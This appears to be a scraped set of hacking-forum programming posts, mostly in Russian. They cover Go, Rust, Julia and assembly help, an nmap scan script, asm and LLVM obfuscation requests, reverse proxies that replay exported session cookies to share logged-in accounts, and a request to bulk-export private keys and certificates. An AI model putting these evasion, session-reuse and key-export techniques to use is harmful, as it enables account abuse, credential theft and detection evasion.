}
}
}(account[0], account[1])
}
waitGroup.Wait()
close(removeCh) // Close the remove channel after all goroutines finish
fmt.Println("Checking complete\n")
}
Как мне считать физическую память компьютера из kernel mode используя MASM и как мне понять обращаюсь я к свободной странице или же к закреплённой чтобы не словить нарушения прав доступа
Список учебников по программированию, в которых начинающие разработчики программного обеспечения учатся создавать приложения с нуля. Эти учебники разделены по различным основным языкам программирования. Учебники могут включать в себя различные технологии и языки.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fcc92b2ff53711f0becd81b436eb89884b4edc55e7d3e8eebbb3cc4b94d18f988%2Fpractical- tutorials%2Fproject-based- learning&hash=a7697e690db5c2bad7a3b8b64da21daf&return_error=1)
project-based tutorials ](https://github.com/practical-tutorials/project- based-learning)
Curated list of project-based tutorials. Contribute to practical- tutorials/project-based-learning development by creating an account on GitHub.
github.com
**
Оглавление:**
Доброго времени суток! Наш программист отвалился, нужно закончить код. Нужен программист, который знает язык GO и с опытом работы с API. Проект большой, если закончим с "альфой" продолжим работу c откликнувшимся программистом.
Подробности в ТГ, свяжу вас с project-менеджером.
Сабж, необходимо посмотреть код и дать ответ, стучит ли этот скрипт куда-то
еще, передаются ли вводимые мной переменные еще куда-то.
Кто готов взяться - просьба в пм.
Course 1: https://www.udemy.com/course/artificial-intelligence-az/ (i found
some but the zip was damaged and a lot of videos doesnt exist in the zip)
COurse 2: https://www.udemy.com/course/chatbot/ (same story)
Thanks
Подскажите как на sed/awk в взять список файлов, и к каждой строке в файле, добавить имя файла откуда взята строка.
Допустим у нас есть такие файлы:
1.txt
2.txt
3.txt
1.txt содержит aaaaaa , 2.txt bbbbbb и 3.txt ccccccc
Нужно соорудить команду чтобы на выходе был файл в котором:
aaaaaaa1.txt
bbbbbbb2.txt
ccccccc3.txt
Учитывая что строк в файлах может быть больше чем одна.
Пока соорудил только такое:
ls | awk "{print}" | xargs cat
Но оно мне просто тогда выводит сначала контент всех файлов, а потом их имена, а надо чтобы именно добавлялось имя к каждой строке в этом файле
Как обфусцировать nasm, masm x86? Какие мусорные инструкции можно добавить
кроме nop, int 3? Буду благодарен за конкретные примеры.
Простой пример:
Code:Copy to clipboard
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
P.S В асм я полный ноль
I was bored so i made this
How to use:
first input: you need to give an IP like 192.168.10.1
and the second input: you give the range like 255
and the third input the Port you want to scan for like 80
and of course don't forget chmod 755 script
Bash:Copy to clipboard
#!/bin/bash
echo "Entering the IP Address:"
read FirstIP
echo "Entering the last octet of IP Address to make a range:"
read range
echo "Enter the port you want to scan for:"
read Port
nmap -sT $FirstIP-$range -p $Port >/dev/null -oG MyScan
cat MyScan | grep open > MyScan2
cat MyScan2
There are 2 ways of implementation to choose from.
Based from user input.
The program implements object-oriented programming concepts and takes
advantage of Julia's built-in functionality for reading and writing to files.
Method 1: (Without error handling)
source:
Code:Copy to clipboard
# Define a SqlParser type to store information about a .sql file
struct SqlParser
file_path::String
end
# Define a method for the SqlParser type to split the .sql file into a .csv format
function split_to_csv(parser::SqlParser, columns::Vector{String})
# Open the .sql file for reading
file = open(parser.file_path, "r")
# Read the entire contents of the .sql file into a string
sql_data = read(file, String)
# Close the file to free up resources
close(file)
# Split the contents of the .sql file into rows
rows = split(sql_data, ";\n")
# Open a .csv file for writing
csv_file = open("output.csv", "w")
# Write the header row to the .csv file
write(csv_file, join(columns, ","), "\n")
# Loop through each row in the .sql file
for row in rows
# Split the row into columns
values = split(row, ",")
# Store the values for the specified columns in a dictionary
data = Dict{String, String}()
for (i, column) in enumerate(columns)
data[column] = values[i]
end
# Write the values for the specified columns to the .csv file
write(csv_file, join([data[column] for column in columns], ","), "\n")
end
# Close the .csv file to save the changes
close(csv_file)
end
# Prompt the user for the .sql file path
println("Enter the path to the .sql file:")
file_path = readline()
# Prompt the user for the columns to include in the .csv file
println("Enter the columns to include in the .csv file (separated by commas):")
columns = split(readline(), ",")
# Create a SqlParser instance
parser = SqlParser(file_path)
# Call the split_to_csv method to split the .sql file into a .csv format
split_to_csv(parser, columns)
# Print a message indicating that the .csv file has been created
println("The .csv file has been created!")
Method 2: (With error handling and user invalid input)
source:
Code:Copy to clipboard
# Importing required libraries
using DataFrames, CSV
# Defining the SQLFileParser struct
struct SQLFileParser
filepath::String
# The constructor function
function SQLFileParser(filepath::String)
if !isfile(filepath)
error("File not found: $filepath")
end
new(filepath)
end
# Method for parsing the SQL file
function parse(self)
try
# Reading the SQL file into a string
sql_text = read(self.filepath, String)
# Splitting the SQL text into separate statements
statements = split(sql_text, ";")
# Parsing each statement and storing the result in a data frame
df = DataFrame(Statement = statements)
return df
catch e
error("Error while reading file: $e")
end
end
# Method for printing the parsed data to a CSV file
function print_to_csv(self, csv_filepath::String)
try
df = self.parse()
csv.write(csv_filepath, df)
println("Data written to file: $csv_filepath")
catch e
error("Error while writing to CSV file: $e")
end
end
end
# Testing the SQLFileParser struct
try
parser = SQLFileParser("sample.sql")
parser.print_to_csv("sample.csv")
catch e
println("Error: $e")
end
Pass: local
Вопрос к тем кто пратикует использование ночных сборок раста.
Пытаюсь заставить все это дело работать ->
https://github.com/eshard/obfuscator-llvm/wiki/Rust-obfuscation-guide
По ссылке ман, по сборке ночного тулчейна Rast-a с дополнительными плагином
для llvm.
Делал все как описанно. Пробывал разные версии раст-а ( 1.6.0 и 1.6.2 )
Проблема с линковкой.
Подскажите пожалуйста куда смотреть?
Собирал так -> cargo +my-rust build -Z build- std=panic_abort,std,core,alloc,proc_macro**--target x86_64-pc-windows-gnu** --release
Текст сообщений об ошибке ниже.
Code:Copy to clipboard
error: linking with `x86_64-w64-mingw32-gcc` failed: exit status: 1
|
= note: "x86_64-w64-mingw32-gcc" "-fno-use-linker-plugin" "-Wl,--dynamicbase" "-Wl,--disable-auto-image-base" "-m64" "-Wl,--high-entropy-va" "rsbegin.o" "/tmp/rustc7UcR8A/symbols.o" "/root/cliws/target/x86_64-pc-windows-gnu/release/deps/cliws-749d0df4eaeace61.cliws.f5cd55b7-cgu.0.rcgu.o" "-L" "/root/cliws/target/x86_64-pc-windows-gnu/release/deps" "-L" "/root/cliws/target/release/deps" "-L" "/root/.cargo/registry/src/github.com-1ecc6299db9ec823/winapi-x86_64-pc-windows-gnu-0.4.0/lib" "-L" "/root/.cargo/registry/src/github.com-1ecc6299db9ec823/windows_x86_64_gnu-0.36.1/lib" "-L" "/root/.cargo/registry/src/github.com-1ecc6299db9ec823/windows_x86_64_gnu-0.29.0/lib" "-L" "/root/rust/build/x86_64-unknown-linux-gnu/stage1/lib/rustlib/x86_64-pc-windows-gnu/lib" "-Wl,--start-group" "-Wl,--end-group" "-Wl,-Bstatic" "/root/cliws/target/x86_64-pc-windows-gnu/release/deps/libcompiler_builtins-0475b43edd49e4d3.rlib" "-Wl,-Bdynamic" "-lws2_32" "-lkernel32" "-lwindows" "-lkernel32" "-loleaut32" "-lole32" "-loleaut32" "-lkernel32" "-lwinapi_advapi32" "-lwinapi_cfgmgr32" "-lwinapi_credui" "-lwinapi_fwpuclnt" "-lwinapi_gdi32" "-lwinapi_kernel32" "-lwinapi_msimg32" "-lwinapi_ntdll" "-lwinapi_opengl32" "-lwinapi_secur32" "-lwinapi_user32" "-lwinapi_winspool" "-lwinapi_ws2_32" "-ladvapi32" "-luserenv" "-lkernel32" "-lws2_32" "-lbcrypt" "-lgcc_eh" "-l:libpthread.a" "-lmsvcrt" "-lmingwex" "-lmingw32" "-lgcc" "-lmsvcrt" "-luser32" "-lkernel32" "-Wl,--nxcompat" "-L" "/root/rust/build/x86_64-unknown-linux-gnu/stage1/lib/rustlib/x86_64-pc-windows-gnu/lib" "-o" "/root/cliws/target/x86_64-pc-windows-gnu/release/deps/cliws-749d0df4eaeace61.exe" "-Wl,--gc-sections" "-no-pie" "-nodefaultlibs" "rsend.o"
= note: x86_64-w64-mingw32-gcc: error: rsbegin.o: No such file or directory
x86_64-w64-mingw32-gcc: error: rsend.o: No such file or directory
Нагуглил сорцы rsbegin.o и rsend.o, изучаю дальше вообщем.
src/rtstartup/rsbegin.rs - third_party/rust - Git at Google
Ниже пытаюсь тот же код собрать под никсовый таргет ( комманда ->_cargo +my- rust build -Z build-std=panic_abort,std,core,alloc,proc_macro**--target x86_64-unknown-linux-gnu** --release _)
Code:Copy to clipboard
error: linking with `cc` failed: exit status: 1
|
= note: "cc" "-m64" "/tmp/rustcjO20cd/symbols.o" "/root/cliws/target/x86_64-unknown-linux-gnu/release/deps/cliws-e9f8017701c398ea.cliws.8daea4a6-cgu.0.rcgu.o" "-Wl,--as-needed" "-L" "/root/cliws/target/x86_64-unknown-linux-gnu/release/deps" "-L" "/root/cliws/target/release/deps" "-L" "/root/rust/build/x86_64-unknown-linux-gnu/stage1/lib/rustlib/x86_64-unknown-linux-gnu/lib" "-Wl,--start-group" "-Wl,--end-group" "-Wl,-Bstatic" "/root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib" "-Wl,-Bdynamic" "-lssl" "-lcrypto" "-lgcc_s" "-lutil" "-lrt" "-lpthread" "-lm" "-ldl" "-lc" "-Wl,--eh-frame-hdr" "-Wl,-znoexecstack" "-L" "/root/rust/build/x86_64-unknown-linux-gnu/stage1/lib/rustlib/x86_64-unknown-linux-gnu/lib" "-o" "/root/cliws/target/x86_64-unknown-linux-gnu/release/deps/cliws-e9f8017701c398ea" "-Wl,--gc-sections" "-pie" "-Wl,-zrelro,-znow" "-nodefaultlibs"
= note: /usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f32 as compiler_builtins::float::Float>::sign':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f32$u20$as$u20$compiler_builtins..float..Float$GT$4sign17hf981fe58eed43fb8E+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f32 as compiler_builtins::float::Float>::exp':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f32$u20$as$u20$compiler_builtins..float..Float$GT$3exp17h8223b98be93332eeE+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f32 as compiler_builtins::float::Float>::frac':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f32$u20$as$u20$compiler_builtins..float..Float$GT$4frac17h7201603e974f098bE+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f32 as compiler_builtins::float::Float>::from_parts':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f32$u20$as$u20$compiler_builtins..float..Float$GT$10from_parts17hb6f1f27359a03592E+0x16): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f64 as compiler_builtins::float::Float>::sign':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f64$u20$as$u20$compiler_builtins..float..Float$GT$4sign17hd7caf5d9ac8395d7E+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f64 as compiler_builtins::float::Float>::exp':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f64$u20$as$u20$compiler_builtins..float..Float$GT$3exp17ha3bbb521d0fd4f60E+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f64 as compiler_builtins::float::Float>::frac':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f64$u20$as$u20$compiler_builtins..float..Float$GT$4frac17h229a3a6876073ed1E+0x3): undefined reference to `core::intrinsics::const_eval_select'
/usr/bin/ld: /root/cliws/target/x86_64-unknown-linux-gnu/release/deps/libcompiler_builtins-eb5b7753c55da9d2.rlib(compiler_builtins-eb5b7753c55da9d2.compiler_builtins.658f9b54-cgu.0.rcgu.o): in function `<f64 as compiler_builtins::float::Float>::from_parts':
compiler_builtins.658f9b54-cgu.0:(.text._ZN55_$LT$f64$u20$as$u20$compiler_builtins..float..Float$GT$10from_parts17hb4e70e476d35aed9E+0x23): undefined reference to `core::intrinsics::const_eval_select'
collect2: error: ld returned 1 exit status
= help: some `extern` functions couldn't be found; some native libraries may need to be installed or have their path specified
= note: use the `-l` flag to specify native libraries to link
= note: use the `cargo:rustc-link-lib` directive to specify the native libraries to link with Cargo (see https://doc.rust-lang.org/cargo/reference/build-scripts.html#cargorustc-link-libkindname)
error: could not compile `cliws` due to previous error
Code:Copy to clipboard
cat /proc/version
Linux version 5.4.0-121-generic (buildd@lcy02-amd64-013) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #137-Ubuntu SMP Wed Jun 15 13:33:07 UTC 2022
Благодарю за внимание.
при каждом запросе реверс прокси сохраняет куки. Т.е если 1 раз
авторизироваться на сайте, то реверс прокси должен возвращать авторизированную
страничку всем пользователям.
Но у меня это так не работает, я авторизируюсь 1 раз, в выводе вижу что куки
установлены,
useridtoken установлен. Захожу с другого браузера и получаю не
авторизированную страничку
C-like:Copy to clipboard
package main
import (
"fmt"
"log"
"net/http"
"net/http/cookiejar"
"net/http/httputil"
"net/url"
)
type CookieRoundTripper struct {
Jar *cookiejar.Jar
Tripper http.RoundTripper
}
func (c *CookieRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
c.Jar.SetCookies(req.URL, req.Cookies())
for _, el := range c.Jar.Cookies(req.URL) {
req.AddCookie(el)
fmt.Println("установил:", *el)
}
resp, err := c.Tripper.RoundTrip(req)
if err != nil {
return resp, err
}
c.Jar.SetCookies(resp.Request.URL, resp.Cookies())
return resp, err
}
func main() {
cookieJar, err := cookiejar.New(nil)
if err != nil {
log.Fatal(err)
}
proxy := httputil.NewSingleHostReverseProxy(&url.URL{
Scheme: "https",
Host: "quillbot.com",
})
proxy.Transport = &CookieRoundTripper{
Jar: cookieJar,
Tripper: http.DefaultTransport,
}
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
r.Host = "quillbot.com"
//log.Printf("\nURL: %s\nSocket: %s\nUsergent: %s\n", r.URL.Path, r.RemoteAddr, r.UserAgent())
proxy.ServeHTTP(w, r)
})
log.Fatal(http.ListenAndServe(":8099", nil))
}
Не могу извлечь метод из dll файла, получаю ошибку "panic: Failed to find addOne procedure in file_x64.dll: The specified procedure could not be found."
Содержaние dll
Code:Copy to clipboard
package main
import "C"
func main() {}
// export addOne
func addOne(val float64) float64 {
return val + 1.0
}
// export sayHello
func sayHello(val *C.char) *C.char {
return C.CString("Hello " + C.GoString(val))
}
Сборка: go build -o file_x64.dll -buildmode=c-shared -ldflags "-s -w" main.go
Попытка загрузить и выполнить dll
Code:Copy to clipboard
package main
import (
"fmt"
"github.com/ying32/dylib"
)
var (
lib = dylib.NewLazyDLL("file_x64.dll")
_Func1 = lib.NewProc("addOne")
)
func Func1(a2 float64) float64 {
r, _, _ := _Func1.Call(uintptr(a2))
return float64(r)
}
func main() {
g := Func1(2.0)
fmt.Println(g)
}
Всем доброго времени суток. Хотелось бы изучить языки программирования Swift и Objective-C. Посоветуйте пожалуйста книги или статьи для изучения.
Короче, если вы пишите на Rust под Win, то скорее всего знаете, что существует две основных библы с биндами: офциальный windows-rs/windows-sys и забытый богом winapi-rs. Я выбор отдал в пользу первого и вам советую. Есть только пару недостатков, например отсутсвие биндов под NtApi и Peb/Teb.
В общем убил 20 мин, переписал PEB и TEB структуры под windows-sys. Надеюсь не
обосрался нигде.
Может кому-то пригодится:
Code:Copy to clipboard
use std::ffi::c_void;
use std::arch::asm;
use windows_sys::core::GUID;
use windows_sys::Win32::{
Foundation::{BOOLEAN, UNICODE_STRING, NTSTATUS, HANDLE},
System::{
Kernel::{NT_TIB, LIST_ENTRY, SLIST_HEADER, PROCESSOR_NUMBER},
Threading::{RTL_CRITICAL_SECTION, PEB_LDR_DATA, RTL_USER_PROCESS_PARAMETERS},
WindowsProgramming::CLIENT_ID
}
};
macro_rules! field_offset {
($_type:ty, $field:ident$(.$cfields:ident)*) => {
unsafe {
union Transmuter<T: 'static> { p: *const T, r: &'static T, i: usize }
Transmuter {
r: &(&Transmuter {
p: core::ptr::null::<$_type>()
}.r).$field$(.$cfields)*
}.i
}
};
}
#[inline]
pub unsafe fn __readfsdword(offset: u32) -> u32 {
let out: u32;
asm!(
"mov {:e}, fs:[{:e}]",
lateout(reg) out,
in(reg) offset,
options(nostack, pure, readonly),
);
out
}
#[inline]
#[cfg(target_pointer_width = "64")]
pub unsafe fn __readgsqword(offset: u32) -> u64 {
let out: u64;
asm!(
"mov {}, gs:[{:e}]",
lateout(reg) out,
in(reg) offset,
options(nostack, pure, readonly),
);
out
}
#[inline] #[allow(non_snake_case)]
pub unsafe fn NtCurrentTeb() -> *mut TEB {
let offset = field_offset!(NT_TIB, Self_) as u32;
#[cfg(target_arch = "x86_64")] {
__readgsqword(offset) as *mut TEB
}
#[cfg(target_arch = "x86")] {
__readfsdword(offset) as *mut TEB
}
}
#[inline] #[allow(non_snake_case)]
pub unsafe fn NtCurrentPeb() -> *mut PEB {
(*NtCurrentTeb()).ProcessEnvironmentBlock
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct TEB {
pub NtTib: NT_TIB,
pub EnvironmentPointer: *mut c_void,
pub ClientId: CLIENT_ID,
pub ActiveRpcHandle: *mut c_void,
pub ThreadLocalStoragePointer: *mut c_void,
pub ProcessEnvironmentBlock: *mut PEB,
pub LastErrorValue: u32,
pub CountOfOwnedCriticalSections: u32,
pub CsrClientThread: *mut c_void,
pub Win32ThreadInfo: *mut c_void,
pub User32Reserved: [u32; 26],
pub UserReserved: [u32; 5],
pub WOW32Reserved: *mut c_void,
pub CurrentLocale: u32,
pub FpSoftwareStatusRegister: u32,
pub ReservedForDebuggerInstrumentation: [*mut c_void; 16],
pub SystemReserved1: [*mut c_void; 30],
pub PlaceholderCompatibilityMode: i8,
pub PlaceholderReserved: [i8; 11],
pub ProxiedProcessId: u32,
pub ActivationStack: ACTIVATION_CONTEXT_STACK,
pub WorkingOnBehalfTicket: [u8; 8],
pub ExceptionCode: NTSTATUS,
pub ActivationContextStackPointer: *mut ACTIVATION_CONTEXT_STACK,
pub InstrumentationCallbackSp: usize,
pub InstrumentationCallbackPreviousPc: usize,
pub InstrumentationCallbackPreviousSp: usize,
pub TxFsContext: u32,
pub InstrumentationCallbackDisabled: BOOLEAN,
pub GdiTebBatch: GDI_TEB_BATCH,
pub RealClientId: CLIENT_ID,
pub GdiCachedProcessHandle: HANDLE,
pub GdiClientPID: u32,
pub GdiClientTID: u32,
pub GdiThreadLocalInfo: *mut c_void,
pub Win32ClientInfo: [usize; 62],
pub glDispatchTable: [*mut c_void; 233],
pub glReserved1: [usize; 29],
pub glReserved2: *mut c_void,
pub glSectionInfo: *mut c_void,
pub glSection: *mut c_void,
pub glTable: *mut c_void,
pub glCurrentRC: *mut c_void,
pub glContext: *mut c_void,
pub LastStatusValue: NTSTATUS,
pub StaticUnicodeString: UNICODE_STRING,
pub StaticUnicodeBuffer: [u16; 261],
pub DeallocationStack: *mut c_void,
pub TlsSlots: [*mut c_void; 64],
pub TlsLinks: LIST_ENTRY,
pub Vdm: *mut c_void,
pub ReservedForNtRpc: *mut c_void,
pub DbgSsReserved: [*mut c_void; 2],
pub HardErrorMode: u32,
pub Instrumentation: [*mut c_void; 11],
pub ActivityId: GUID,
pub SubProcessTag: *mut c_void,
pub PerflibData: *mut c_void,
pub EtwTraceData: *mut c_void,
pub WinSockData: *mut c_void,
pub GdiBatchCount: u32,
pub u: TEB_u,
pub GuaranteedStackBytes: u32,
pub ReservedForPerf: *mut c_void,
pub ReservedForOle: *mut c_void,
pub WaitingOnLoaderLock: u32,
pub SavedPriorityState: *mut c_void,
pub ReservedForCodeCoverage: usize,
pub ThreadPoolData: *mut c_void,
pub TlsExpansionSlots: *mut *mut c_void,
pub DeallocationBStore: *mut c_void,
pub BStoreLimit: *mut c_void,
pub MuiGeneration: u32,
pub IsImpersonating: u32,
pub NlsCache: *mut c_void,
pub pShimData: *mut c_void,
pub HeapVirtualAffinity: u16,
pub LowFragHeapDataSlot: u16,
pub CurrentTransactionHandle: HANDLE,
pub ActiveFrame: *mut TEB_ACTIVE_FRAME,
pub FlsData: *mut c_void,
pub PreferredLanguages: *mut c_void,
pub UserPrefLanguages: *mut c_void,
pub MergedPrefLanguages: *mut c_void,
pub MuiImpersonation: u32,
pub CrossTebFlags: u16,
pub SameTebFlags: u16,
pub TxnScopeEnterCallback: *mut c_void,
pub TxnScopeExitCallback: *mut c_void,
pub TxnScopeContext: *mut c_void,
pub LockCount: u32,
pub WowTebOffset: i32,
pub ResourceRetValue: *mut c_void,
pub ReservedForWdf: *mut c_void,
pub ReservedForCrt: u64,
pub EffectiveContainerId: GUID,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct PEB {
pub InheritedAddressSpace: BOOLEAN,
pub ReadImageFileExecOptions: BOOLEAN,
pub BeingDebugged: BOOLEAN,
pub BitField: BOOLEAN,
pub Mutant: HANDLE,
pub ImageBaseAddress: *mut c_void,
pub Ldr: *mut PEB_LDR_DATA,
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
pub SubSystemData: *mut c_void,
pub ProcessHeap: *mut c_void,
pub FastPebLock: *mut RTL_CRITICAL_SECTION,
pub IFEOKey: *mut c_void,
pub AtlThunkSListPtr: *mut SLIST_HEADER,
pub CrossProcessFlags: u32,
pub u: PEB_u,
pub SystemReserved: [u32; 1],
pub AtlThunkSListPtr32: u32,
pub ApiSetMap: *mut API_SET_NAMESPACE,
pub TlsExpansionCounter: u32,
pub TlsBitmap: *mut c_void,
pub TlsBitmapBits: [u32; 2],
pub ReadOnlySharedMemoryBase: *mut c_void,
pub SharedData: *mut c_void,
pub ReadOnlyStaticServerData: *mut *mut c_void,
pub AnsiCodePageData: *mut c_void,
pub OemCodePageData: *mut c_void,
pub UnicodeCaseTableData: *mut c_void,
pub NumberOfProcessors: u32,
pub NtGlobalFlag: u32,
pub CriticalSectionTimeout: ULARGE_INTEGER,
pub HeapSegmentReserve: usize,
pub HeapSegmentCommit: usize,
pub HeapDeCommitTotalFreeThreshold: usize,
pub HeapDeCommitFreeBlockThreshold: usize,
pub NumberOfHeaps: u32,
pub MaximumNumberOfHeaps: u32,
pub ProcessHeaps: *mut *mut c_void,
pub GdiSharedHandleTable: *mut c_void,
pub ProcessStarterHelper: *mut c_void,
pub GdiDCAttributeList: u32,
pub LoaderLock: *mut RTL_CRITICAL_SECTION,
pub OSMajorVersion: u32,
pub OSMinorVersion: u32,
pub OSBuildNumber: u16,
pub OSCSDVersion: u16,
pub OSPlatformId: u32,
pub ImageSubsystem: u32,
pub ImageSubsystemMajorVersion: u32,
pub ImageSubsystemMinorVersion: u32,
pub ActiveProcessAffinityMask: usize,
pub GdiHandleBuffer: [u32; 60],
pub PostProcessInitRoutine: *mut c_void,
pub TlsExpansionBitmap: *mut c_void,
pub TlsExpansionBitmapBits: [u32; 32],
pub SessionId: u32,
pub AppCompatFlags: ULARGE_INTEGER,
pub AppCompatFlagsUser: ULARGE_INTEGER,
pub pShimData: *mut c_void,
pub AppCompatInfo: *mut c_void,
pub CSDVersion: UNICODE_STRING,
pub ActivationContextData: *mut c_void,
pub ProcessAssemblyStorageMap: *mut c_void,
pub SystemDefaultActivationContextData: *mut c_void,
pub SystemAssemblyStorageMap: *mut c_void,
pub MinimumStackCommit: usize,
pub FlsCallback: *mut *mut c_void,
pub FlsListHead: LIST_ENTRY,
pub FlsBitmap: *mut c_void,
pub FlsBitmapBits: [u32; 4],
pub FlsHighIndex: u32,
pub WerRegistrationData: *mut c_void,
pub WerShipAssertPtr: *mut c_void,
pub pUnused: *mut c_void,
pub pImageHeaderHash: *mut c_void,
pub TracingFlags: u32,
pub CsrServerReadOnlySharedMemoryBase: u64,
pub TppWorkerpListLock: *mut RTL_CRITICAL_SECTION,
pub TppWorkerpList: LIST_ENTRY,
pub WaitOnAddressHashTable: [*mut c_void; 128],
pub TelemetryCoverageHeader: *mut c_void,
pub CloudFileFlags: u32,
pub CloudFileDiagFlags: u32,
pub PlaceholderCompatibilityMode: i8,
pub PlaceholderCompatibilityModeReserved: [i8; 7],
pub LeapSecondData: *mut LEAP_SECOND_DATA,
pub LeapSecondFlags: u32,
pub NtGlobalFlag2: u32,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct ACTIVATION_CONTEXT_STACK {
pub ActiveFrame: *mut RTL_ACTIVATION_CONTEXT_STACK_FRAME,
pub FrameListCache: LIST_ENTRY,
pub Flags: u32,
pub NextCookieSequenceNumber: u32,
pub StackId: u32,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct RTL_ACTIVATION_CONTEXT_STACK_FRAME {
pub Previous: *mut RTL_ACTIVATION_CONTEXT_STACK_FRAME,
pub ActivationContext: *mut ACTIVATION_CONTEXT,
pub Flags: u32,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct ACTIVATION_CONTEXT {
pub dummy: *mut c_void,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct GDI_TEB_BATCH {
pub Offset: u32,
pub HDC: usize,
pub Buffer: [u32; 310],
}
#[repr(C)] #[derive(Copy, Clone)]
pub union TEB_u {
pub CurrentIdealProcessor: PROCESSOR_NUMBER,
pub IdealProcessorValue: u32,
pub s: TEB_u_s,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct TEB_u_s {
pub ReservedPad0: u8,
pub ReservedPad1: u8,
pub ReservedPad2: u8,
pub IdealProcessor: u8,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct TEB_ACTIVE_FRAME {
pub Flags: u32,
pub Previous: *mut TEB_ACTIVE_FRAME,
pub Context: *mut TEB_ACTIVE_FRAME_CONTEXT,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct TEB_ACTIVE_FRAME_CONTEXT {
pub Flags: u32,
pub FrameName: *mut i8,
}
#[repr(C)] #[derive(Copy, Clone)]
pub union PEB_u {
pub KernelCallbackTable: *mut c_void,
pub UserSharedInfoPtr: *mut c_void
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct API_SET_NAMESPACE {
pub Version: u32,
pub Size: u32,
pub Flags: u32,
pub Count: u32,
pub EntryOffset: u32,
pub HashOffset: u32,
pub HashFactor: u32,
}
#[repr(C)] #[derive(Copy, Clone)]
pub struct LEAP_SECOND_DATA([u8; 0]);
#[repr(C)] #[derive(Copy, Clone)]
pub struct ULARGE_INTEGER([u64; 1]);
Приветствую всех. У меня есть вопрос как написать сканер уязвимостей в пограничных маршрутизаторах на языке Golang. Спасибо за помощь заранее.
Требуется разработчик тулзы на GO работа c API.
Все подробности в TG
Простой реверс прокси, подгружаю куки и перенаправляю запрос. Куки валид, выгрузил их из браузера с валидной сессией vidiq. Но в ответе получаю страничку авторизации. Пробовал и на других сайтах, такая же проблема
C-like:Copy to clipboard
target, err := url.Parse("https://app.vidiq.com/")
if err != nil {
log.Println(err)
os.Exit(1)
}
proxy := httputil.NewSingleHostReverseProxy(target)
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
r.Host = target.Host
for _, el := range cookies {
r.AddCookie(el)
}
proxy.ServeHTTP(w, r)
})
Всем привет. Имеется большое желание вкатиться в Ассемблер. Исключительно ради
личного умения и понимания как работает процессор.
Проблема в том, что язык очень сильно устарел и толковой информации либо нет,
либо она не актуальна, либо ее на столько много, что не понятно за что
браться.
Мастера ассемблера подскажите, где вы учились? Какие книги/видеоролики посоветуете? Может есть хорошие книги для маленьких и тупых? Каких материалов стоит избегать, а на какие стоит обратить внимание?
Керниган Брайан У. Донован Алан А.А | Язык программирования go. Она вышла 8 лет назад, стоит ли ее изучить? Посоветуйте еще годных книг по go
Приветствую всех! Подскажите пожалуйста, как осуществить экспорт/перенос
контейнеров закрытых ключей и сертификатов c помощью cmd или bat?
На практике должно быть так: Вводим команды/запускаем файл, после чего все ЭЦП
экспортируются в определенную папку.
Добрый День,Книга помогла мне очень сильно в познаний Компиляций . И я хотел бы поделиться ей .
](https://anonfiles.com/PfS3ebX6y0/compilers-813752024_pdf)
anonfiles.com
Авторzebra0_0
Источникhttps://xss.is
